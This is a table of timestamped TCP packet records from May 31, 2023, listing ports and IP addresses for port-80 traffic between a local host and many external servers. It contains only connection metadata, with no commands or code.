May 31, 2023 14:50:50.547213078 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.547241926 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.547261953 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.547281027 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.547292948 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.547302961 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.547313929 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.547358990 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.548118114 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.548144102 CEST	80	49965	172.67.70.223	192.168.2.3
May 31, 2023 14:50:50.548240900 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.548240900 CEST	49965	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:50.556348085 CEST	80	49975	172.67.73.176	192.168.2.3
May 31, 2023 14:50:50.556430101 CEST	49975	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:50.558432102 CEST	80	49974	72.44.93.236	192.168.2.3
May 31, 2023 14:50:50.558507919 CEST	49974	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:50.560950041 CEST	80	49974	72.44.93.236	192.168.2.3
May 31, 2023 14:50:50.561038971 CEST	49974	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:50.564121008 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.639116049 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.639148951 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.639169931 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.639189005 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.639206886 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:50.639225960 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:50.639238119 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.639256954 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.639280081 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.639287949 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:50.639307022 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:50.639319897 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.639327049 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:50.639343977 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.639364958 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.639372110 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:50.639394999 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:50.639415026 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:50.656929016 CEST	80	49969	3.94.41.167	192.168.2.3
May 31, 2023 14:50:50.712280035 CEST	49970	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:50.804023027 CEST	49977	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:50.809295893 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.812951088 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.812988043 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.813014030 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.813030005 CEST	49972	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:50.813040018 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.813065052 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.813091993 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.813116074 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.813122988 CEST	49972	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:50.813122988 CEST	49972	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:50.813143015 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.813169003 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.813189983 CEST	49972	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:50.813189983 CEST	49972	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:50.813194990 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:50.813261986 CEST	49972	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:50.813261986 CEST	49972	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:50.818423986 CEST	80	49970	70.39.251.249	192.168.2.3
May 31, 2023 14:50:50.818555117 CEST	49970	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:50.837877989 CEST	49978	80	192.168.2.3	64.125.133.18
May 31, 2023 14:50:50.902307034 CEST	49979	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:50.912441015 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.912483931 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:50.912610054 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:50.927076101 CEST	49945	80	192.168.2.3	210.140.73.39
May 31, 2023 14:50:50.950576067 CEST	80	49977	3.94.41.167	192.168.2.3
May 31, 2023 14:50:50.950731993 CEST	49977	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:51.020590067 CEST	49977	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:51.051323891 CEST	80	49979	104.196.26.65	192.168.2.3
May 31, 2023 14:50:51.051455021 CEST	49979	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:51.051861048 CEST	49979	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:51.083998919 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:51.084039927 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:51.084059000 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:51.084079027 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:51.084115982 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:51.084132910 CEST	80	49972	118.27.125.181	192.168.2.3
May 31, 2023 14:50:51.084259033 CEST	49972	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:51.084259033 CEST	49972	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:51.088474989 CEST	49980	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:51.166507959 CEST	80	49977	3.94.41.167	192.168.2.3
May 31, 2023 14:50:51.166557074 CEST	80	49977	3.94.41.167	192.168.2.3
May 31, 2023 14:50:51.166701078 CEST	49977	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:51.200730085 CEST	80	49979	104.196.26.65	192.168.2.3
May 31, 2023 14:50:51.201287031 CEST	80	49979	104.196.26.65	192.168.2.3
May 31, 2023 14:50:51.203624010 CEST	49979	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:51.216479063 CEST	80	49980	66.94.119.160	192.168.2.3
May 31, 2023 14:50:51.216658115 CEST	49980	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:51.227030039 CEST	49980	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:51.231201887 CEST	49979	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:51.238200903 CEST	49977	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:51.265547037 CEST	49712	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:51.265655994 CEST	49716	80	192.168.2.3	170.82.174.30
May 31, 2023 14:50:51.265705109 CEST	49822	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:51.297806025 CEST	80	49822	213.186.33.17	192.168.2.3
May 31, 2023 14:50:51.299477100 CEST	80	49712	62.122.190.121	192.168.2.3
May 31, 2023 14:50:51.311268091 CEST	49707	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:51.325870037 CEST	49981	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:51.325901031 CEST	49982	80	192.168.2.3	170.82.174.30
May 31, 2023 14:50:51.325957060 CEST	49983	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:51.327972889 CEST	49984	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:51.328048944 CEST	80	49707	188.114.96.7	192.168.2.3
May 31, 2023 14:50:51.328130960 CEST	49707	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:51.344557047 CEST	80	49984	188.114.96.7	192.168.2.3
May 31, 2023 14:50:51.346026897 CEST	49984	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:51.352108955 CEST	49984	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:51.355004072 CEST	80	49980	66.94.119.160	192.168.2.3
May 31, 2023 14:50:51.355758905 CEST	80	49980	66.94.119.160	192.168.2.3
May 31, 2023 14:50:51.355828047 CEST	49980	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:51.358304024 CEST	80	49983	213.186.33.17	192.168.2.3
May 31, 2023 14:50:51.358414888 CEST	49983	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:51.359860897 CEST	80	49981	62.122.190.121	192.168.2.3
May 31, 2023 14:50:51.360210896 CEST	49981	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:51.368737936 CEST	80	49984	188.114.96.7	192.168.2.3
May 31, 2023 14:50:51.368993998 CEST	49983	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:51.369029045 CEST	49981	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:51.379862070 CEST	80	49984	188.114.96.7	192.168.2.3
May 31, 2023 14:50:51.380033970 CEST	49984	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:51.380214930 CEST	80	49979	104.196.26.65	192.168.2.3
May 31, 2023 14:50:51.381072044 CEST	80	49979	104.196.26.65	192.168.2.3
May 31, 2023 14:50:51.381500959 CEST	49979	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:51.383992910 CEST	80	49977	3.94.41.167	192.168.2.3
May 31, 2023 14:50:51.396692991 CEST	49714	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:51.402704954 CEST	80	49983	213.186.33.17	192.168.2.3
May 31, 2023 14:50:51.402735949 CEST	80	49983	213.186.33.17	192.168.2.3
May 31, 2023 14:50:51.402754068 CEST	80	49983	213.186.33.17	192.168.2.3
May 31, 2023 14:50:51.402770996 CEST	80	49981	62.122.190.121	192.168.2.3
May 31, 2023 14:50:51.402811050 CEST	49983	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:51.402868032 CEST	49983	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:51.404834032 CEST	80	49981	62.122.190.121	192.168.2.3
May 31, 2023 14:50:51.405045033 CEST	49981	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:51.413278103 CEST	80	49714	104.26.15.53	192.168.2.3
May 31, 2023 14:50:51.413439989 CEST	49714	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:51.439047098 CEST	49713	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:51.454751015 CEST	80	49713	216.58.215.243	192.168.2.3
May 31, 2023 14:50:51.455018997 CEST	49713	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:51.473917007 CEST	80	49716	170.82.174.30	192.168.2.3
May 31, 2023 14:50:51.535149097 CEST	80	49982	170.82.174.30	192.168.2.3
May 31, 2023 14:50:51.535824060 CEST	49982	80	192.168.2.3	170.82.174.30
May 31, 2023 14:50:51.620965958 CEST	49985	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:51.632926941 CEST	49981	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:51.636120081 CEST	49982	80	192.168.2.3	170.82.174.30
May 31, 2023 14:50:51.637644053 CEST	80	49985	104.26.15.53	192.168.2.3
May 31, 2023 14:50:51.637773037 CEST	49985	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:51.642723083 CEST	49980	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:51.646414042 CEST	49986	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:51.661966085 CEST	80	49986	216.58.215.243	192.168.2.3
May 31, 2023 14:50:51.662127018 CEST	49986	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:51.668447018 CEST	80	49981	62.122.190.121	192.168.2.3
May 31, 2023 14:50:51.671696901 CEST	49981	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:51.679572105 CEST	49985	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:51.696140051 CEST	80	49985	104.26.15.53	192.168.2.3
May 31, 2023 14:50:51.707050085 CEST	80	49985	104.26.15.53	192.168.2.3
May 31, 2023 14:50:51.707092047 CEST	80	49985	104.26.15.53	192.168.2.3
May 31, 2023 14:50:51.707109928 CEST	80	49985	104.26.15.53	192.168.2.3
May 31, 2023 14:50:51.707129955 CEST	80	49985	104.26.15.53	192.168.2.3
May 31, 2023 14:50:51.707146883 CEST	80	49985	104.26.15.53	192.168.2.3
May 31, 2023 14:50:51.707163095 CEST	80	49985	104.26.15.53	192.168.2.3
May 31, 2023 14:50:51.707305908 CEST	49985	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:51.707364082 CEST	49985	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:51.712945938 CEST	49986	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:51.715763092 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:51.723582029 CEST	49722	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:51.728403091 CEST	80	49986	216.58.215.243	192.168.2.3
May 31, 2023 14:50:51.735621929 CEST	80	49987	3.65.101.129	192.168.2.3
May 31, 2023 14:50:51.735852957 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:51.736289978 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:51.740381956 CEST	80	49722	104.21.88.198	192.168.2.3
May 31, 2023 14:50:51.740524054 CEST	49722	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:51.756088972 CEST	80	49987	3.65.101.129	192.168.2.3
May 31, 2023 14:50:51.756448030 CEST	80	49987	3.65.101.129	192.168.2.3
May 31, 2023 14:50:51.756537914 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:51.758599043 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:51.771632910 CEST	80	49980	66.94.119.160	192.168.2.3
May 31, 2023 14:50:51.771869898 CEST	49980	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:51.778920889 CEST	80	49987	3.65.101.129	192.168.2.3
May 31, 2023 14:50:51.779124975 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:51.824407101 CEST	49988	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:51.824508905 CEST	49989	80	192.168.2.3	54.161.222.85
May 31, 2023 14:50:51.841016054 CEST	80	49988	104.21.88.198	192.168.2.3
May 31, 2023 14:50:51.843871117 CEST	49988	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:51.845201969 CEST	80	49982	170.82.174.30	192.168.2.3
May 31, 2023 14:50:51.860173941 CEST	49988	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:51.876995087 CEST	80	49988	104.21.88.198	192.168.2.3
May 31, 2023 14:50:51.891819000 CEST	80	49986	216.58.215.243	192.168.2.3
May 31, 2023 14:50:51.893584967 CEST	49986	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:51.940310001 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:51.962902069 CEST	80	49988	104.21.88.198	192.168.2.3
May 31, 2023 14:50:51.962932110 CEST	80	49988	104.21.88.198	192.168.2.3
May 31, 2023 14:50:51.962948084 CEST	80	49988	104.21.88.198	192.168.2.3
May 31, 2023 14:50:51.962976933 CEST	49988	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:51.963044882 CEST	49988	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:51.964215994 CEST	80	49987	3.65.101.129	192.168.2.3
May 31, 2023 14:50:51.965954065 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:51.969404936 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:51.973356962 CEST	80	49989	54.161.222.85	192.168.2.3
May 31, 2023 14:50:51.973478079 CEST	49989	80	192.168.2.3	54.161.222.85
May 31, 2023 14:50:51.989779949 CEST	80	49987	3.65.101.129	192.168.2.3
May 31, 2023 14:50:51.991837978 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:51.998415947 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:52.014199972 CEST	49990	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:52.018840075 CEST	80	49987	3.65.101.129	192.168.2.3
May 31, 2023 14:50:52.018963099 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:52.034395933 CEST	49989	80	192.168.2.3	54.161.222.85
May 31, 2023 14:50:52.041085958 CEST	49991	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:52.085550070 CEST	49824	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:52.101270914 CEST	49717	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:52.102754116 CEST	49992	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:52.113100052 CEST	49993	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:52.126082897 CEST	80	49717	80.74.154.6	192.168.2.3
May 31, 2023 14:50:52.126168013 CEST	49717	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:52.138423920 CEST	80	49993	80.74.154.6	192.168.2.3
May 31, 2023 14:50:52.138851881 CEST	49993	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:52.141320944 CEST	49719	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:52.142872095 CEST	49993	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:52.143408060 CEST	49994	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:52.147973061 CEST	80	49982	170.82.174.30	192.168.2.3
May 31, 2023 14:50:52.148068905 CEST	49982	80	192.168.2.3	170.82.174.30
May 31, 2023 14:50:52.148161888 CEST	80	49982	170.82.174.30	192.168.2.3
May 31, 2023 14:50:52.150274992 CEST	49982	80	192.168.2.3	170.82.174.30
May 31, 2023 14:50:52.164872885 CEST	80	49719	34.117.168.233	192.168.2.3
May 31, 2023 14:50:52.164953947 CEST	49719	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:52.166695118 CEST	80	49994	34.117.168.233	192.168.2.3
May 31, 2023 14:50:52.167783022 CEST	49994	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:52.167980909 CEST	80	49993	80.74.154.6	192.168.2.3
May 31, 2023 14:50:52.168029070 CEST	80	49993	80.74.154.6	192.168.2.3
May 31, 2023 14:50:52.175079107 CEST	49993	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:52.179152966 CEST	80	49989	54.161.222.85	192.168.2.3
May 31, 2023 14:50:52.179192066 CEST	80	49989	54.161.222.85	192.168.2.3
May 31, 2023 14:50:52.179311037 CEST	49989	80	192.168.2.3	54.161.222.85
May 31, 2023 14:50:52.187439919 CEST	80	49824	192.241.158.94	192.168.2.3
May 31, 2023 14:50:52.190613985 CEST	49824	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:52.200601101 CEST	80	49992	192.241.158.94	192.168.2.3
May 31, 2023 14:50:52.202155113 CEST	49992	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:52.208430052 CEST	80	49990	122.128.109.107	192.168.2.3
May 31, 2023 14:50:52.210352898 CEST	49990	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:52.220293045 CEST	49989	80	192.168.2.3	54.161.222.85
May 31, 2023 14:50:52.220614910 CEST	49726	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:52.233035088 CEST	49990	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:52.267767906 CEST	80	49726	89.161.163.246	192.168.2.3
May 31, 2023 14:50:52.269562960 CEST	49726	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:52.292927980 CEST	49718	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:52.292979956 CEST	49994	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:52.293052912 CEST	49992	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:52.295329094 CEST	49995	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:52.295716047 CEST	49996	80	192.168.2.3	54.161.222.85
May 31, 2023 14:50:52.295821905 CEST	49997	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:52.297024012 CEST	49982	80	192.168.2.3	170.82.174.30
May 31, 2023 14:50:52.297951937 CEST	49993	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:52.299118042 CEST	49731	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:52.303327084 CEST	49998	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:52.303972960 CEST	80	49991	206.191.152.37	192.168.2.3
May 31, 2023 14:50:52.304106951 CEST	49991	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:52.305644035 CEST	49991	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:52.314347029 CEST	80	49718	3.64.163.50	192.168.2.3
May 31, 2023 14:50:52.314434052 CEST	49718	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:52.317441940 CEST	80	49997	3.64.163.50	192.168.2.3
May 31, 2023 14:50:52.317585945 CEST	49997	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:52.317678928 CEST	80	49994	34.117.168.233	192.168.2.3
May 31, 2023 14:50:52.319478035 CEST	49997	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:52.323226929 CEST	80	49993	80.74.154.6	192.168.2.3
May 31, 2023 14:50:52.323299885 CEST	49993	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:52.327764034 CEST	80	49995	89.161.163.246	192.168.2.3
May 31, 2023 14:50:52.327877998 CEST	49995	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:52.328902006 CEST	80	49994	34.117.168.233	192.168.2.3
May 31, 2023 14:50:52.329000950 CEST	49994	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:52.341100931 CEST	80	49997	3.64.163.50	192.168.2.3
May 31, 2023 14:50:52.341180086 CEST	80	49997	3.64.163.50	192.168.2.3
May 31, 2023 14:50:52.341339111 CEST	49997	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:52.366743088 CEST	80	49989	54.161.222.85	192.168.2.3
May 31, 2023 14:50:52.392097950 CEST	80	49992	192.241.158.94	192.168.2.3
May 31, 2023 14:50:52.392138958 CEST	80	49992	192.241.158.94	192.168.2.3
May 31, 2023 14:50:52.392280102 CEST	49992	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:52.397397041 CEST	80	49731	192.252.154.18	192.168.2.3
May 31, 2023 14:50:52.397542953 CEST	49731	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:52.401690006 CEST	80	49998	192.252.154.18	192.168.2.3
May 31, 2023 14:50:52.401797056 CEST	49998	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:52.428499937 CEST	80	49990	122.128.109.107	192.168.2.3
May 31, 2023 14:50:52.429625988 CEST	80	49990	122.128.109.107	192.168.2.3
May 31, 2023 14:50:52.429657936 CEST	80	49990	122.128.109.107	192.168.2.3
May 31, 2023 14:50:52.429677010 CEST	80	49990	122.128.109.107	192.168.2.3
May 31, 2023 14:50:52.429697037 CEST	80	49990	122.128.109.107	192.168.2.3
May 31, 2023 14:50:52.429716110 CEST	80	49990	122.128.109.107	192.168.2.3
May 31, 2023 14:50:52.429717064 CEST	49990	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:52.429734945 CEST	80	49990	122.128.109.107	192.168.2.3
May 31, 2023 14:50:52.429755926 CEST	80	49990	122.128.109.107	192.168.2.3
May 31, 2023 14:50:52.429769039 CEST	49990	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:52.429774046 CEST	80	49990	122.128.109.107	192.168.2.3
May 31, 2023 14:50:52.429789066 CEST	80	49990	122.128.109.107	192.168.2.3
May 31, 2023 14:50:52.429792881 CEST	49990	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:52.429821014 CEST	49990	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:52.429842949 CEST	49990	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:52.442264080 CEST	80	49996	54.161.222.85	192.168.2.3
May 31, 2023 14:50:52.442400932 CEST	49996	80	192.168.2.3	54.161.222.85
May 31, 2023 14:50:52.445672035 CEST	49995	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:52.467647076 CEST	49999	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:52.476418972 CEST	80	49995	89.161.163.246	192.168.2.3
May 31, 2023 14:50:52.484332085 CEST	80	49999	172.67.72.98	192.168.2.3
May 31, 2023 14:50:52.484569073 CEST	49999	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:52.507071018 CEST	80	49982	170.82.174.30	192.168.2.3
May 31, 2023 14:50:52.525486946 CEST	80	49957	173.254.28.29	192.168.2.3
May 31, 2023 14:50:52.525618076 CEST	49957	80	192.168.2.3	173.254.28.29
May 31, 2023 14:50:52.568526983 CEST	80	49991	206.191.152.37	192.168.2.3
May 31, 2023 14:50:52.568624020 CEST	80	49991	206.191.152.37	192.168.2.3
May 31, 2023 14:50:52.568639994 CEST	80	49991	206.191.152.37	192.168.2.3
May 31, 2023 14:50:52.568659067 CEST	80	49991	206.191.152.37	192.168.2.3
May 31, 2023 14:50:52.568749905 CEST	49991	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:52.620608091 CEST	49999	80	192.168.2.3	172.67.72.98
May 31, 2023 14:50:52.623318911 CEST	49991	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:52.623383045 CEST	49998	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:52.637288094 CEST	80	49999	172.67.72.98	192.168.2.3
May 31, 2023 14:50:52.642215014 CEST	49996	80	192.168.2.3	54.161.222.85
May 31, 2023 14:50:52.648745060 CEST	80	49982	170.82.174.30	192.168.2.3
May 31, 2023 14:50:52.649035931 CEST	49982	80	192.168.2.3	170.82.174.30
May 31, 2023 14:50:52.674666882 CEST	49992	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:52.721791029 CEST	80	49998	192.252.154.18	192.168.2.3
May 31, 2023 14:50:52.724185944 CEST	80	49998	192.252.154.18	192.168.2.3
May 31, 2023 14:50:52.724325895 CEST	49998	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:52.742618084 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.762326002 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.762531042 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.763911009 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.775954008 CEST	80	49992	192.241.158.94	192.168.2.3
May 31, 2023 14:50:52.776254892 CEST	49992	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:52.787321091 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.791668892 CEST	80	49996	54.161.222.85	192.168.2.3
May 31, 2023 14:50:52.791712046 CEST	80	49996	54.161.222.85	192.168.2.3
May 31, 2023 14:50:52.791785002 CEST	49996	80	192.168.2.3	54.161.222.85
May 31, 2023 14:50:52.791785955 CEST	49996	80	192.168.2.3	54.161.222.85
May 31, 2023 14:50:52.825236082 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.825273037 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.825292110 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.825311899 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.825331926 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.825351000 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.825361967 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.825368881 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.825412035 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.825479031 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.826482058 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.826519012 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.826539040 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.826602936 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.826630116 CEST	50000	80	192.168.2.3	193.70.68.254
May 31, 2023 14:50:52.844487906 CEST	49996	80	192.168.2.3	54.161.222.85
May 31, 2023 14:50:52.848718882 CEST	80	50000	193.70.68.254	192.168.2.3
May 31, 2023 14:50:52.848761082 CEST	80	50000	193.70.68.254	192.168.2.3
